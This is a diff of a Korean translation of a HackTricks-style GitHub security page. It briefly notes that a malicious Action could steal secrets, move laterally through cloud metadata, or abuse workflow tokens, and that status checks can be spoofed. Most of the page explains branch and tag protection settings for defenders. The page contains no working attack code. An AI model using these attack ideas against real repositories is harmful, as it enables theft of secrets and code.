모든 작업(또는 악의적인 작업)이 허용되면 사용자는 **악의적인 Github Action**을 사용할 수 있으며, 이는 **실행되고 있는 컨테이너를 손상시킬 수 있습니다**.
|
||||
만약 모든 액션(또는 악성 action)이 허용된다면 사용자는 **malicious Github Action**을 사용하여 실행되는 **container**를 **compromise**할 수 있습니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> 실행된 **악의적인 Github Action**은 공격자가 다음과 같이 **악용할 수 있습니다**:
|
||||
> A **malicious Github Action** run could be **abused** by the attacker to:
|
||||
>
|
||||
> - **Action이 접근할 수 있는 모든 비밀을 훔치기**
|
||||
> - **타사 인프라 내에서 Action이 실행되는 경우 수평 이동** (아마도 메타데이터 서비스를 통해 머신을 실행하는 데 사용된 SA 토큰에 접근 가능)
|
||||
> - **코드 저장소의 코드를 훔치거나** **수정하기 위해 워크플로에서 사용되는 토큰을 악용하기**.
|
||||
> - **Steal all the secrets** the Action has access to
|
||||
> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
|
||||
> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
|
||||
|
||||
## Branch Protections
|
||||
|
||||
브랜치 보호는 사용자가 **저장소에 대한 완전한 제어를 갖지 않도록** 설계되었습니다. 목표는 **일부 브랜치 내에서 코드를 작성할 수 있기 전에 여러 보호 방법을 설정하는 것**입니다.
|
||||
Branch protections는 사용자에게 저장소(repository)에 대한 완전한 권한을 부여하지 않도록 설계되었습니다. 목표는 특정 브랜치에 코드를 쓰기 전에 여러 보호 수단을 적용하는 것입니다.
|
||||
|
||||
저장소의 **브랜치 보호**는 _https://github.com/\<orgname>/\<reponame>/settings/branches_에서 찾을 수 있습니다.
|
||||
해당 저장소의 **branch protections**는 _https://github.com/\<orgname>/\<reponame>/settings/branches_ 에서 확인할 수 있습니다.
|
||||
|
||||
> [!NOTE]
|
||||
> **조직 수준에서 브랜치 보호를 설정하는 것은 불가능합니다**. 따라서 모든 보호는 각 저장소에서 선언해야 합니다.
|
||||
> 조직 수준에서 branch protection을 설정하는 것은 **불가능**합니다. 따라서 모든 보호 규칙은 각 repo에 대해 선언되어야 합니다.
|
||||
|
||||
브랜치에 다양한 보호를 적용할 수 있습니다(예: master):
|
||||
다음과 같은 다양한 보호를 브랜치(예: master)에 적용할 수 있습니다:
|
||||
|
||||
- **병합 전에 PR을 요구할 수 있습니다**(따라서 브랜치에 직접 코드를 병합할 수 없습니다). 이 옵션을 선택하면 다른 여러 보호가 적용될 수 있습니다:
|
||||
- **승인 수를 요구합니다**. PR을 승인하기 위해 1명 또는 2명 이상의 추가 승인을 요구하는 것이 일반적이므로 단일 사용자가 직접 코드를 병합할 수 없습니다.
|
||||
- **새 커밋이 푸시될 때 승인을 무효화합니다**. 그렇지 않으면 사용자가 정당한 코드를 승인한 후 악의적인 코드를 추가하고 병합할 수 있습니다.
|
||||
- **코드 소유자의 리뷰를 요구합니다**. 저장소의 코드 소유자 중 최소 1명이 PR을 승인해야 합니다(따라서 "무작위" 사용자가 승인할 수 없습니다).
|
||||
- **풀 리퀘스트 리뷰를 무효화할 수 있는 사람을 제한합니다**. 풀 리퀘스트 리뷰를 무효화할 수 있는 사람이나 팀을 지정할 수 있습니다.
|
||||
- **지정된 행위자가 풀 리퀘스트 요구 사항을 우회할 수 있도록 허용합니다**. 이러한 사용자는 이전 제한을 우회할 수 있습니다.
|
||||
- **병합 전에 상태 검사가 통과해야 합니다**. 커밋을 병합하기 전에 통과해야 하는 몇 가지 검사가 있습니다(예: 평문 비밀이 없는지 확인하는 github action).
|
||||
- **병합 전에 대화 해결을 요구합니다**. 코드에 대한 모든 댓글은 PR을 병합하기 전에 해결되어야 합니다.
|
||||
- **서명된 커밋을 요구합니다**. 커밋은 서명되어야 합니다.
|
||||
- **선형 기록을 요구합니다**. 병합 커밋이 일치하는 브랜치에 푸시되는 것을 방지합니다.
|
||||
- **관리자를 포함합니다**. 이 설정이 없으면 관리자는 제한을 우회할 수 있습니다.
|
||||
- **일치하는 브랜치에 푸시할 수 있는 사람을 제한합니다**. PR을 보낼 수 있는 사람을 제한합니다.
|
||||
- 병합 전에 **PR을 요구(require a PR before merging)**할 수 있습니다(즉, 브랜치에 직접 코드를 병합할 수 없음). 이를 선택하면 다른 보호 옵션들을 함께 적용할 수 있습니다.
|
||||
- **Require a number of approvals**. 일반적으로 PR 승인에 대해 1명 또는 2명의 추가 승인을 요구하여 단일 사용자가 직접 코드를 병합하지 못하게 합니다.
|
||||
- **Dismiss approvals when new commits are pushed**. 그렇지 않으면 사용자가 정상적인 코드를 승인한 뒤 악성 코드를 추가하고 병합할 수 있습니다.
|
||||
- **Require approval of the most recent reviewable push**. 승인이 난 이후의 새로운 커밋(다른 협업자의 푸시 포함)이 있을 경우 리뷰를 재요청하여 공격자가 승인 이후 변경을 푸시하고 병합하는 것을 방지합니다.
|
||||
- **Require reviews from Code Owners**. 적어도 1명의 코드 오너가 PR을 승인해야 합니다(따라서 "무작위" 사용자가 승인할 수 없음).
|
||||
- **Restrict who can dismiss pull request reviews.** 풀 리퀘스트 리뷰를 취소할 수 있는 사람 또는 팀을 지정할 수 있습니다.
|
||||
- **Allow specified actors to bypass pull request requirements**. 이 사용자들은 이전 제한을 우회할 수 있습니다.
|
||||
- **Require status checks to pass before merging.** 일부 체크는 커밋을 병합하기 전에 통과되어야 합니다(예: SAST 결과를 보고하는 GitHub App). 팁: 필요한 체크를 특정 GitHub App에 바인딩하세요; 그렇지 않으면 어떤 앱이든 Checks API를 통해 체크를 스푸핑할 수 있고, 많은 봇이 skip 지시자(예: "@bot-name skip")를 허용합니다.
|
||||
- **Require conversation resolution before merging**. PR을 병합하기 전에 코드에 대한 모든 코멘트가 해결되어야 합니다.
|
||||
- **Require signed commits**. 커밋은 서명되어야 합니다.
|
||||
- **Require linear history.** 일치하는 브랜치에 merge commits가 푸시되는 것을 방지합니다.
|
||||
- **Include administrators**. 이 옵션을 설정하지 않으면 관리자는 제한을 우회할 수 있습니다.
|
||||
- **Restrict who can push to matching branches**. 누가 해당 브랜치로 푸시할 수 있는지 제한합니다.
|
||||
|
||||
> [!NOTE]
|
||||
> 보시다시피, 사용자의 자격 증명을 얻었다고 하더라도, **저장소가 보호되어 있어 예를 들어 master에 코드를 푸시하는 것을 방지할 수 있습니다**.
|
||||
> 보시다시피, 설령 어떤 사용자의 자격증명(credentials)을 획득했다고 해도, **레포지토리 보호 설정으로 인해 master 같은 브랜치에 코드를 푸시하지 못해** CI/CD 파이프라인을 악용하는 것을 막을 수 있습니다.
|
||||
|
||||
## Tag Protections
|
||||
|
||||
태그(latest, stable 등)는 기본적으로 변경 가능(mutable)합니다. 태그 업데이트에 대해 4-eyes 플로우를 강제하려면 태그를 보호하고 protections를 environment와 branch를 통해 연쇄적으로 연결하세요:
|
||||
|
||||
1) 태그 보호 규칙에서 **Require deployments to succeed**를 활성화하고 보호된 environment(예: prod)로의 성공적인 배포를 요구합니다.
|
||||
2) 대상 environment에서 **Deployment branches and tags**를 릴리스 브랜치(예: main)로 제한하고, 선택적으로 **Required reviewers**와 **Prevent self-review**를 구성합니다.
|
||||
3) 릴리스 브랜치에서 branch protections를 구성하여 **Require a pull request**를 설정하고, approvals를 1 이상으로 설정하며 **Dismiss approvals when new commits are pushed**와 **Require approval of the most recent reviewable push**를 모두 활성화합니다.
|
||||
|
||||
이 연쇄는 단일 협업자가 workflow YAML을 편집하여 릴리스를 재태그하거나 강제로 퍼블리시하는 것을 방지합니다. 배포 게이트는 workflow 외부에서 강제되기 때문입니다.
|
||||
|
||||
## References
|
||||
|
||||
@@ -245,5 +261,10 @@ Github Action은 **github 환경 내에서 실행**되거나 사용자가 구성
|
||||
- [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
|
||||
- [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
|
||||
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
|
||||
- [https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
|
||||
- [https://securitylab.github.com/resources/github-actions-untrusted-input/](https://securitylab.github.com/resources/github-actions-untrusted-input/)
|
||||
- [https://docs.github.com/en/rest/checks/runs](https://docs.github.com/en/rest/checks/runs)
|
||||
- [https://docs.github.com/en/apps](https://docs.github.com/en/apps)
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user